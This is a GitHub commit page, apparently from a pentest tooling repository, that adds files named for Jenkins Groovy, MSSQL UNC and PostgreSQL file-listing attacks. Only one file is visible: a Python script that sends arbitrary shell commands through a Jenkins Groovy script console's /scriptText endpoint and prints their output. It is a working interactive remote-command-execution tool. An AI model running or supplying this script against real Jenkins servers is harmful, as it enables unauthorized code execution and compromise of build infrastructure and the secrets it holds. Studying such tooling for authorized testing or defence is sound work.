Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Jenkins Grrovy + MSSQL UNC + PostgreSQL list files
- Loading branch information
1 parent
eac4214
commit 78c882f
Showing
4 changed files
with
46 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,30 @@ | ||
#!/usr/bin/env python | ||
# SRC: https://raw.githubusercontent.com/bl4de/security-tools/master/jgc.py | ||
# DOC: https://medium.com/@_bl4de/remote-code-execution-with-groovy-console-in-jenkins-bd6ef55c285b | ||
import requests | ||
import sys | ||
|
||
print """ | ||
Jenkins Groovy Console cmd runner. | ||
usage: ./jgc.py [HOST] | ||
Then type any command and wait for STDOUT output from remote machine. | ||
Type 'exit' to exit :) | ||
""" | ||
URL = sys.argv[1] + '/scriptText' | ||
HEADERS = { | ||
'User-Agent': 'jgc' | ||
} | ||
|
||
while 1: | ||
CMD = raw_input(">> Enter command to execute (or type 'exit' to exit): ") | ||
if CMD == 'exit': | ||
print "exiting...\n" | ||
exit(0) | ||
|
||
DATA = { | ||
'script': 'println "{}".execute().text'.format(CMD) | ||
} | ||
result = requests.post(URL, headers=HEADERS, data=DATA) | ||
print result.text |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters